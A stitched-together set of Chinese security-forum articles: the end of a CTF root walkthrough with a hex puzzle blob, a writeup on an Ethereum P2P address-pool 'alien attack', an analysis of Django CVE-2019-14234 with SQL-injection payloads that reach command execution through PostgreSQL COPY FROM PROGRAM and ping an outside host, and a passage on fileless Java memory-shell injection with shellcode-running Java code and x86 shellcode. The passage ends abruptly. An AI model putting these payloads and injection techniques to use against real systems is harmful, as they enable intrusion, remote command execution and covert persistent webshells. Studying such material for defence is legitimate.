并在文件内写入 “/bin/bash” 保存。最后一步就是直接拿root了，
命令为： sudo ./derpy.sh
如图：
成功拿下root权限和flag4！！
## 总结
没什么好说的，这是小弟的联系方式：
56477853576b31736345565a656b4a50596c567264316473556c4a4e617a5656566c524f55464a47576d395561314a755456557863565a55546b39686132743556316477616d51774e55685856455a50595773784d315273556c704e617a4656566c525754315a476133705556564a57546b553163565655516b39575230313356477853576b31564d584658625842505a577446656c5178556c5a4e617a56305646524b55464a47634842556258424b54555531635656746145396c617a423456466877595746724e545a5256455a61566b5a4b636c5272556c704e565456565758705354315a4863336c58563342585955553153464e55526b3968624656355647786b526b30774d545a5756453550596c5577656c5256556c5a4f525456565646524354315a47536d395562464a47545655316356647463453957526d743556465a53566b35564e56565856454a51566b644e4d465273556d704e624842565656524b54315a4854586c55563342535457733157464a55546b3553526c563556473078536b31564e58465857476850566b644e64315274634664685254564657587047543256736348465562475247545778734e6c5a596245356c6130593256477853566b35464e5656585748424f5957314e4d4652756345354e617a465656323177543149775658685562464a615a56553152566b7a63464257526c707656477853576b31464e565657625768505957745665465272556c5a4e4d445532576e704b546c5a47566a5655574842475454417852565655566b39574d46563356473177576b35464e584661656b7050566b5a77635652735a455a4e52546c46566c524b54314a48545870554d464a615a5555315656645963453557526c707656473577546b31564e545a5862577850566a425665465177556c706c56545646566c5247576c5a475654425562464a795456553152565655536b396c6255313456473177546d56464e545a5256455a51556b5a7265465272556c704e526e42565632317354315a4762445a5556564a4f5456553152567036526b39575254453156473577546d56724d56565756455a4f5a57747264316457556c5a4f56545678556c524354314a47566a565562464a715457737863565a55556b396862574e3456477453566b31564e58525356454a50595778574e56527463465a4e52545678563152435432567261336858566c4a535454413163567036516d4657526b707956473078566b31724f55565762576850566b5a7265566457556c4a6c5654563056315247546c5a464d54525562464a795454413552565a55526b39695654423556477453566b30774e56565856454a50566b5a6162315273556d354e5654567856323130543256724d545a55566c4a575457733164465255526b39575230307856473177566b31464f55565856454a505957316a654652586345356b4d4455325556524355465a47576d395561314a5754565578635656744d553957526d773256465a53556b35564e486c5356455a50566b5a77633152725a455a4e565455325657313054324a575658645862464a4f545555315657457a634535686255343256473577626b31564e545a5756457050556a4256656c525963465a4e4d4456305646524b54314a47566a5a5562464a615455553163565a74614539575257743456473177595745774d545a535748424f556b5a56655652596345704e526e42565758704354315a4761336c58563342615455553156566455536b3568624842785647746b526b30774d56565756455a50596c5a46656c5177556d704e4d44565656566877546c5a47576d3955626e424f5456553156566474624539574d46563356327853576d56564e55565856455a505957737764315273556c704e5654553257544e77546d567356586855625842575454413153464a55516b39686247773256477453566b31724f555657564570505957747265465177556c4a6c56545678576e704754324673634846556258425354555a7363565a596245356c6131563356327853616b31564e58465456454a505957785665565273556d704e617a46785656524b54315a4762445a5561314a575457733152566b7a634535575254423356477853576d56724d58465757477850556b646a654652586347466856545659556c5247546c4a4756586c556254464b5a57733156565a55516b3957526b563456473577616d56724d545a5256454a68556b5a56655652735a455a4e4d444678566d316f54314a4752586455563342575457733153465655526b39686246707656473577636b31564e55565756457050566b5a7265565257556c5a4e52544532556c5247576c5a48546a5a5562464a71545778734e6c6474634539575230313556465a53546d56464e56685356457051556b5a5665565273556c5a4e566d78565631686f543246724d486c5857484261545555314e6c5a55526b3953526e427756466877636b31564d545a5857477850556b5a56656c5256556c706c525456565758704754314a47526a565562464a715456553556565a55536b39575257743656466877566d56724e58525556455a5059577856656c52746345704e624842465631525354315a485933685562464a68595441784e6c4a55536d46686245707956466877526b31576246565656455a50566b567265566472556c4a4e617a56565646524359564a4756586c55626e424354565a7356565a55546b39695657743456315a53566b30774e58465356455a505957787264315272556c704e565445325632317754315a4661336855626e42575a56553164465255546b3553526c56365647786b526b31564e56565756455a4f5a57745665565272556c4a4e617a5649556c524f546c5a47565870556254464f54555a7756566455556b39686246563556316877563246464e56565756455a5059577856656c525963455a6c617a5646566c524f54324a5662445a55566c4a535454413156566c36536c70686247743356477853576b31724d56565557484250566b56726546527563465a4f5654563056465247576c5a476244525562584257545778734e6c64746245396c6255313456473177595746564e545a5656455a5059577856655652744d55354e4d4446465656524b54315a4756586855625842575a5655314e6c4e55526b3553526c59305646524b556d567363454a5156444139
你能破解了出来了吗？坏笑！！ 祝大家生活愉快！ | 社区文章 |
# 冲突的公链！来自 P2P 协议的异形攻击漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：慢雾安全团队
当我们谈论区块链时，总是离不开这些技术：分布式存储、P2P 网络和共识机制，本次我们要谈的问题就是出现在 P2P 对等网络协议上。
异形攻击实际上是一个所有公链都可能面临的问题，我们用以太坊为例子说明。以太坊的 P2P 网络主要采用了 Kademlia (简称 Kad )
算法实现，Kad 是一种分布式哈希表( DHT )技术，使用该技术，可以实现在分布式环境下快速而又准确地路由、定位数据的问题。
## 什么是异形攻击？
首先，我们先定义一个同类链的概念，是指使用了和其它区块链相同或兼容协议的区块链系统。
异形攻击又称地址池污染，是指诱使同类链的节点互相侵入和污染的一种攻击手法，漏洞的主要原因是同类链系统在通信协议上没有对非同类节点做识别。
以太坊异形攻击是指，以太坊同类链（具体的说是使用以太坊 P2P discv4
节点发现协议的公链，包括以太坊、以太经典）由于使用了兼容的握手协议，无法区分节点是否属于同个链，导致地址池互相污染，节点通信性能下降，最终造成节点阻塞的一种攻击方式。
### 1\. 正常的节点发现过程
以太坊同类链节点间通过 4 个 UDP 通信协议来完成节点发现，消息结构如下：
* [1] ping: 探测一个节点是否在线
ping struct {
Version uint
From, To rpcEndpoint
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
* [2] pong: 响应 Ping 命令
pong struct {
To rpcEndpoint
ReplyTok []byte
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
* [3] findnode: 查找与 Target 节点异或距离最近的其他节点
findnode struct {
Target NodeID
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
* [4] neighbors: 响应 FindNode 命令，会返回一或多个节点
neighbors struct {
Nodes []rpcNode
Expiration uint64
Rest []rlp.RawValue `rlp:"tail"`
}
### 2\. 攻击过程
#### – 准备工作：收集以太坊节点地址
我们找到了社区制作的一个地址库：
<https://github.com/smartheye/EthStaticNodesTool/blob/master/MainNet/static-nodes.txt>
#### – 第一步：发起恶意握手。
攻击者 A 模拟整个握手过程，主动发起 ping 操作，并利用协议的第4步
neighbors，将返回的邻居表修改成我们收集到的以太坊节点地址，推送给受害节点 B（B 是一个以太坊同类链节点）。由于单次通信只能推送 16
个地址，我们需要多次推送以达到攻击效果。
#### – 第二步：污染地址池。
B 收到大量 A 返回的邻居表，尝试跟这些节点握手，并将这些节点加入了自己的地址池（俗称 K 桶）。
#### – 第三步：污染自动扩散。
让人意外的是，不同链的节点居然互相握手成功了，更为可怕的是，它们把各自地址池里已知的节点推送给了对方，导致更多的节点互相污染，最终扩散致整个网络。
### 漏洞危害
* 受异形攻击的同类链节点无法找到真正可用的节点，无法建立 TCP 数据同步通道，导致节点被攻击离线。
* 对于矿池或者出块节点，异形攻击可能导致广播延迟甚至失败，造成收益损失。
* 异形攻击可以使所有以太坊同类链地址池相互污染，导致节点通信效率全面下降，对整个区块链系统造成长久的伤害。
### 影响范围
我们对知名公链 QuarkChain 进行安全审计时发现，QuarkChain
的节点在遭受异形攻击后，节点性能严重下降，外部节点需要很长时间才能与受害节点建立连接。QuarkChain 团队随后修复了该问题。
理论上所有使用了以太坊 discv4 协议的区块链都可能受此漏洞影响，在发起测试后的一段时间，我们观测到 EtherNode
的监测节点也已经被污染了，污染的扩散速度似乎比想象中的要快。
也许，以太坊需要来一次清洗。
## 后记
1、 此漏洞对以太坊是否有影响？
以太坊的节点数量远大于其它同类链节点，并且节点间已经建立了稳定的连接，影响不明显。但对于其它的同类链节点，却会受到来自以太坊节点的强势侵入，导致通信阻塞。
2、 很多朋友关心除了以太坊之外，其它的公链是否有此问题，比如比特币和它的山寨币，比如使用了 libp2p 协议的公链，这些问题我们将在后续文章中披露！
十分感谢 QuarkChain 团队大力协助本次测试！ | 社区文章 |
# **0x00前言**
8月1号，DJango官方发出更新，其中修复了一个存在于JSON的SQL注入漏洞(CVE-2019-14234)
[
作为以Django为主要开发的人来说，需要好好研究一下。
# **0x01 漏洞修复**
首先来看看官方是如何修复的
[
首先将`django/contrib/postgres/fields/hstore.py`文件里面的KeyTransform类的as_sql函数中的直接传递字符传改为了将`self.key_name`单独使用数组进行传递,其中%%的意思为"转换说明符"，其主要作用为直接转化为单个"%"符号而不需要参数。类似于`\\`和`\`
In[1]:"%%"%()
Out[1]: '%'
# 具体使用方法如下
In [2]: '%s %%s'%'test'
Out[2]: 'test %s'
之后在`django/contrib/postgres/fields/jsonb.py`文件中将对`self.key_name`变量的返回统一改成了使用数组进行转换。并且后期在单元测试中加入了对JSONField的SQL注入测试
[
因此，也发现了通过JSON进行SQL注入的payload
# **0x02 漏洞分析**
在github上，官方也给出了具体的原因
CVE-2019-14234: SQL injection possibility in key and index lookups for ``JSONField``/``HStoreField``
====================================================================================================
:lookup:`Key and index lookups <jsonfield.key>` for
:class:`~django.contrib.postgres.fields.JSONField` and :lookup:`key lookups
<hstorefield.key>` for :class:`~django.contrib.postgres.fields.HStoreField`
were subject to SQL injection, using a suitably crafted dictionary, with
dictionary expansion, as the ``**kwargs`` passed to ``QuerySet.filter()``.
其通过`**kwargs`传递键值树来绕过了`QuerySet.filter()`方法,PostgreSQL的使用json数据进行查询的一个方法有三个主要的查询函数`ArrayField`、`JSONField`和`HStoreField`，位于`django.contrib.postgres.fields`路径下面，出问题的是JSONField方法和HStoreField方法,两种方法都为内置的JSONB存储,这两种方法的区别为JSONField类似于HStoreField，并且可以使用大型字典执行得更好。它还支持除字符串以外的类型，例如整数，布尔和嵌套字典。
首先models里面的数据库格式为
from django.db import models
from django.contrib.postgres.fields import JSONField
# Create your models here.
class Json(models.Model):
name = models.CharField(max_length=200)
data = JSONField()
def __str__(self):
return self.name
使用`python manage.py shell`打开shell窗口，案例使用JSONField函数进行存储和查询
[
Json方式查询的方法可以使用语句
Json.objects.filter(data__breed='test') # 查询data数据下名称为breed的内容为'test'的整个字段
或者使用语句
Json.objects.filter(**{"data__breed":'test'})
也可以达到要求
[
因HStoreField方法预与之相同，故不做赘述。
因此既能够使用官方给的payload进行验证
Json.objects.filter(**{"""data__breed'='"a"') OR 1=1 OR('d""":'x',})
[
注入成功!!
查询语句转换为SQL语句为
select * from app01_json where (data- >'breed' ? 'test');
[
所以产生注入的语句为
select * from app01_json where (data- >'breed' ? 'a') OR 1=1 OR (data->'a'?'x');
[
为了探究该漏洞在哪一块业务中显现，因此来分析一下。同时又看到官方对过滤的参数都是self.key_name,因此将跟进这一个参数，发现该参数是由`KeyTransform`类中传入的参数得来的,再跟着KeyTransform走，发现类`KeyTransformFactory`调用`KeyTransform`了并且向里面传入了`self.key_name`
[
接着跟进，同时在JSONField类中的`get_transform`方法传入了self.key_name参数
[
同时跟进super中的父类函数，其传参来自于RegisterLookupMixin类中的`lookup_name`的变量,其JSONField和HStoreField都来自于这个类方法
class RegisterLookupMixin:
@classmethod
def _get_lookup(cls, lookup_name):
return cls.get_lookups().get(lookup_name, None)
@classmethod
@functools.lru_cache(maxsize=None)
def get_lookups(cls):
class_lookups = [parent.__dict__.get('class_lookups', {}) for parent in inspect.getmro(cls)]
return cls.merge_dicts(class_lookups)
def get_lookup(self, lookup_name):
from django.db.models.lookups import Lookup
found = self._get_lookup(lookup_name)
if found is None and hasattr(self, 'output_field'):
return self.output_field.get_lookup(lookup_name)
if found is not None and not issubclass(found, Lookup):
return None
return found
def get_transform(self, lookup_name):
from django.db.models.lookups import Transform
found = self._get_lookup(lookup_name)
if found is None and hasattr(self, 'output_field'):
return self.output_field.get_transform(lookup_name)
if found is not None and not issubclass(found, Transform):
return None
return found
那么，首先在as_sql函数和get_transform下面下断点
[
和as_sql方法
[
在views.py中写一个逻辑函数
def query(request):
m = Json.objects.filter(data__breed="test")
return HttpResponse("OK")
访问`http://127.0.0.1/query/`，提取断点信息,发现lookup_name传入的参数为breed
[
之后跳入`"(%s %s %s)" % (lhs, self.operator, lookup)`,
params的语句为`("app01_json"."data" -> 'breed')
[]`,因此可以下结论我们需要控制的参数为breed,即使用`**{"data__breed":"test"}`可以对传进去的breed参数进行恶意构造从而达到SQL注入,`self.operator`的值为字符串`->`
[
进而出现查询结果，我们将SQL注入语句插入之后显现的语句为`("app01_json"."data" -> 'breed'='"a"') OR 1=1
OR('d') []`
[
最终显示注入成功，官方对[RegisterLookupMixin](https://docs.djangoproject.com/en/2.2/ref/models/lookups/#django.db.models.lookups.RegisterLookupMixin
"RegisterLookupMixin")的定义为查询的API接口，主要功能为为类提供注册查找的接口。在之前使用Django后台页面的时候，对admin.py进行配置使其能够对后台的内容进行排序，而查找的参数测试由get进行传输,在测试中输入url
`http://127.0.0.1:8000/admin/app01/json/?data__breed=test`发现卡在了断点的位置，因此分析Django的后台查询使用了`**kwargs`方式进行传参
[
后台传参为`("app01_json"."data" -> 'breed')
[]`,因此构造一下url,并且在`db\backends\utils.py`文件里面下断点
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d1 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
[
传进来的SQL语句为
SELECT "app01_json"."id", "app01_json"."name", "app01_json"."data" FROM "app01_json" WHERE ("app01_json"."data" -> \'breed\'?\'a\') OR 1=1 -- OR ("app01_json"."data" -> \'data\') = %s ORDER BY "app01_json"."id" DESC
[
改成OR 1=2后
[
同时我们也可以用Postrgesql进行命令执行，首先使用URL创建一个数据库
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCREATE table cmd_exec(cmd_output text) %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
显示没有结果导出,或者产生500报错
[
但是成功创建cmd_exec表
[
接着插入URL
http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCOPY cmd_exec FROM PROGRAM %27ping christa.ccccc.ceye.io%27 %2d%2d OR (%22app01_json%22.%22data%22 -> %27data
[
成功执行命令!
# **Reference**
* <https://www.djangoproject.com/weblog/2019/aug/01/security-releases/>
* <https://stackoverflow.com/questions/28145588/what-does-printss-mean-here>
* <https://github.com/django/django/commit/7deeabc7c7526786df6894429ce89a9c4b614086#diff-57ceaae67721b3f8d5729222c032af8e>
* <https://docs.djangoproject.com/en/2.2/ref/contrib/postgres/fields/>
* <https://docs.djangoproject.com/en/2.2/ref/models/lookups/>
* <https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5> | 社区文章 |
**作者： rebeyond
原文链接：<https://mp.weixin.qq.com/s/xxaOsJdRE5OoRkMLkIj3Lg>**
### 回顾
2018年，《利用“进程注入”实现无文件复活 WebShell》一文首次提出memShell（内存马）概念，利用Java
Agent技术向JVM内存中植入webshell，并在github上发布memShell项目。项目中对内存马的植入过程比较繁琐，需要三个步骤：
1. 上传inject.jar到服务器用来枚举jvm并进行植入；
2. 上传agent.jar到服务器用来承载webshell功能；
3. 执行系统命令java -jar inject.jar。
2020年，Behinder（冰蝎） v3.0版本更新中内置了Java内存马注入功能，此次更新利用self
attach技术，将植入过程由上文中的3个步骤减少为2个步骤：
1. 上传agent.jar到服务器用来承载webshell功能；
2. 冰蝎服务端调用Java API将agent.jar植入自身进程完成注入。
2021年，Behinder（冰蝎）v3.0 Beta 10版本更新中，实现了内存马防检测（我称他为Anti-Attach技术),可以避免在我们注入内存马之后其他人再注入内存马或者扫描内存马。
>
> 作为一个“强迫症患者”，我一直认为上述的植入过程都不够优雅。attacker追求的是微操、无痕，而Agent内存马的植入却要在目标磁盘上落地一个Jar包，这个操作太“脏”了。
>
> 当然，在此期间，很多优秀的安全研究者将目标转向了向目标容器中新增各种Java
> Web组件上，比如新增一个Filter、Servlet、Listener、Spring的Controller等等，这种方式需要引入一些额外的相互引用关系，容易被检测到。而且对目标容器环境有较强的依赖性，不同的组件、不同的容器或者不同的版本，注入方法可能都不一样，通用性较弱。
2021年，[《Java内存攻击技术漫谈》](https://paper.seebug.org/1678/
"《Java内存攻击技术漫谈》")一文，提出了无文件agent植入技术，整个Agent注入的过程不需要在目标磁盘上落地文件，这勉强解决了“脏”的问题。但是该文中介绍的方法存在一个缺陷，那就是获取JPLISAgent的过程不够优雅和安静，会概率性的导致Java进程崩溃，这是不能忍的，于是就有了这篇文章。
### 优雅的构造JPLISAgent
在《Java内存攻击技术漫谈》一文中，我使用了特征字典+暴力内存搜索的方式来获取Native内存中的JVMTIEnv对象指针，由于ASLR的原因，在搜索过程中，很可能会将非指针数据作为指针来访问，从而触发内存访问异常，OS会直接接管这个异常并结束JVM进程。
如何才能精准的获取JVMTIEnv的指针呢？
#### 获取JVMTIEnv指针
可以利用JNI_GetCreatedJavaVMs函数。游望之在《Linux下内存马进阶植入技术》一文中提到，JavaVM对象中存在一个名为GetEnv的成员函数，如下：
struct JavaVM_ {
const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus
jint DestroyJavaVM() {
return functions->DestroyJavaVM(this);
}
jint AttachCurrentThread(void **penv, void *args) {
return functions->AttachCurrentThread(this, penv, args);
}
jint DetachCurrentThread() {
return functions->DetachCurrentThread(this);
}
jint GetEnv(void **penv, jint version) {
return functions->GetEnv(this, penv, version);
}
jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
return functions->AttachCurrentThreadAsDaemon(this, penv, args);
}
#endif
};
怎么样获得JavaVM对象呢？我相信如果是熟悉Java
Native开发的同学可能对此并不陌生，在jvm.dll中存在一个名为JNI_GetCreatedJavaVMs的函数，该函数是JVM提供给Java
Native开发人员用来在Native层获取VM对象的，因为是开放给开发者使用的，所以该函数是导出的。我们可以直接调用这个函数来获取JavaVM对象。
但是，怎么调用JNI_GetCreatedJavaVMs呢？该函数的规矩用法是需要先开发一个Java的dll动态链接库，然后在Java代码中加载这个dll库，然后再调用dll中的方法。当然这不是我们希望的，如果我们愿意去写个dll上传加载，那还不如直接上传个agent.jar来的方便。
有没有可能不用开发额外的dll文件或者so文件来调用JNI相关的函数呢？有。
##### Windows平台
在《Java内存攻击技术漫谈》一文中，我提出了一种可以在Windows平台下通过Java向指定进程植入并运行shellcode的方法，当目标进程PID为-1时，即可向自身进程植入并运行shellcode，Poc如下：
import java.lang.reflect.Method;
public class RunShellCode {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
byte shellcode[] = new byte[] //pop calc.exe x64
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[]{}});
}
}
}
}
为了避免目标没有WindowsVirtualMachine，自己写一个同名类：
package sun.tools.attach;
import java.io.IOException;
public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object... args) throws IOException;
}
基于这个方法，我们可以写一段通用的shellcode来动态调用jvm.dll中的JNI_GetCreatedJavaVMs。
这段shellcode的主要工作流程是：
1. 先获取到当前进程kernel32.dll的基址；
2. 在kernel32.dll的输出表中，获取GetProcessAddress函数的地址；
3. 调用GetProcessAddress获取LoadLibraryA函数的地址；
4. 调用LoadLibraryA加载jvm.dll获取jvm.dll模块在当前进程中的基址；
5. 调用GerProcAddress在jvm.dll中获取JNI_GetCreatedJavaVMs的地址；
6. 调用JNI_GetCreatedJavaVMs；
7. 还原现场，安全退出线程，优雅地离开，避免shellcode执行完后进程崩溃。
如下是x86版本的shellcode：
00830000 | 90 | nop |
00830001 | 90 | nop |
00830002 | 90 | nop |
00830003 | 33C9 | xor ecx,ecx |
00830005 | 64:A1 30000000 | mov eax,dword ptr fs:[30] |
0083000B | 8B40 0C | mov eax,dword ptr ds:[eax+C] |
0083000E | 8B70 14 | mov esi,dword ptr ds:[eax+14] |
00830011 | AD | lodsd |
00830012 | 96 | xchg esi,eax |
00830013 | AD | lodsd |
00830014 | 8B58 10 | mov ebx,dword ptr ds:[eax+10] | ebx:"MZ?"
00830017 | 8B53 3C | mov edx,dword ptr ds:[ebx+3C] | edx:"MZ?"
0083001A | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
0083001C | 8B52 78 | mov edx,dword ptr ds:[edx+78] | edx:"MZ?"
0083001F | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
00830021 | 33C9 | xor ecx,ecx |
00830023 | 8B72 20 | mov esi,dword ptr ds:[edx+20] |
00830026 | 03F3 | add esi,ebx | ebx:"MZ?"
00830028 | 41 | inc ecx |
00830029 | AD | lodsd |
0083002A | 03C3 | add eax,ebx | ebx:"MZ?"
0083002C | 8138 47657450 | cmp dword ptr ds:[eax],50746547 |
00830032 | 75 F4 | jne 830028 |
00830034 | 8178 04 726F6341 | cmp dword ptr ds:[eax+4],41636F72 |
0083003B | 75 EB | jne 830028 |
0083003D | 8178 08 64647265 | cmp dword ptr ds:[eax+8],65726464 |
00830044 | 75 E2 | jne 830028 |
00830046 | 8B72 24 | mov esi,dword ptr ds:[edx+24] |
00830049 | 03F3 | add esi,ebx | ebx:"MZ?"
0083004B | 66:8B0C4E | mov cx,word ptr ds:[esi+ecx*2] |
0083004F | 49 | dec ecx |
00830050 | 8B72 1C | mov esi,dword ptr ds:[edx+1C] |
00830053 | 03F3 | add esi,ebx | ebx:"MZ?"
00830055 | 8B148E | mov edx,dword ptr ds:[esi+ecx*4] | edx:"MZ?"
00830058 | 03D3 | add edx,ebx | edx:"MZ?", ebx:"MZ?"
0083005A | 52 | push edx | edx:"MZ?"
0083005B | 33C9 | xor ecx,ecx |
0083005D | 51 | push ecx |
0083005E | 68 61727941 | push 41797261 |
00830063 | 68 4C696272 | push 7262694C |
00830068 | 68 4C6F6164 | push 64616F4C |
0083006D | 54 | push esp |
0083006E | 53 | push ebx | ebx:"MZ?"
0083006F | FFD2 | call edx |
00830071 | 83C4 0C | add esp,C |
00830074 | 59 | pop ecx |
00830075 | 50 | push eax |
00830076 | 66:B9 3332 | mov cx,3233 |
0083007A | 51 | push ecx |
0083007B | 68 6A766D00 | push 6D766A | 6D766A:L"$$笔划$$字根/笔划"
00830080 | 54 | push esp |
00830081 | FFD0 | call eax |
00830083 | 8BD8 | mov ebx,eax | ebx:"MZ?"
00830085 | 83C4 0C | add esp,C |
00830088 | 5A | pop edx | edx:"MZ?"
00830089 | 33C9 | xor ecx,ecx |
0083008B | 51 | push ecx |
0083008C | 6A 73 | push 73 |
0083008E | 68 7661564D | push 4D566176 |
00830093 | 68 65644A61 | push 614A6465 |
00830098 | 68 72656174 | push 74616572 |
0083009D | 68 47657443 | push 43746547 |
008300A2 | 68 4A4E495F | push 5F494E4A |
008300A7 | 54 | push esp |
008300A8 | 53 | push ebx | ebx:"MZ?"
008300A9 | FFD2 | call edx |
008300AB | 8945 F0 | mov dword ptr ss:[ebp-10],eax |
008300AE | 54 | push esp |
008300AF | 6A 01 | push 1 |
008300B1 | 54 | push esp |
008300B2 | 59 | pop ecx |
008300B3 | 83C1 10 | add ecx,10 |
008300B6 | 51 | push ecx |
008300B7 | 54 | push esp |
008300B8 | 59 | pop ecx |
008300B9 | 6A 01 | push 1 |
008300BB | 51 | push ecx |
008300BC | FFD0 | call eax |
008300BE | 8BC1 | mov eax,ecx |
008300C0 | 83EC 30 | sub esp,30 |
008300C3 | 6A 00 | push 0 |
008300C5 | 54 | push esp |
008300C6 | 59 | pop ecx |
008300C7 | 83C1 10 | add ecx,10 |
008300CA | 51 | push ecx |
008300CB | 8B00 | mov eax,dword ptr ds:[eax] |
008300CD | 50 | push eax |
008300CE | 8B18 | mov ebx,dword ptr ds:[eax] | ebx:"MZ?"
008300D0 | 8B43 10 | mov eax,dword ptr ds:[ebx+10] |
008300D3 | FFD0 | call eax |
008300D5 | 8B43 18 | mov eax,dword ptr ds:[ebx+18] |
008300D8 | 68 00020130 | push 30010200 |
008300DD | 68 14610317 | push 17036114 |;该内存地址是JavaVM->GetEnv的第一个参数，由我们动态指定，用来接收jvmti对象的地址
008300E2 | 83EC 04 | sub esp,4 |
008300E5 | FFD0 | call eax |
008300E7 | 83EC 0C | sub esp,C |
008300EA | 8B43 14 | mov eax,dword ptr ds:[ebx+14] |
008300ED | FFD0 | call eax |
008300EF | 83C4 5C | add esp,5C |
008300F2 | C3 | ret |
如下是x64版本的shellcode：
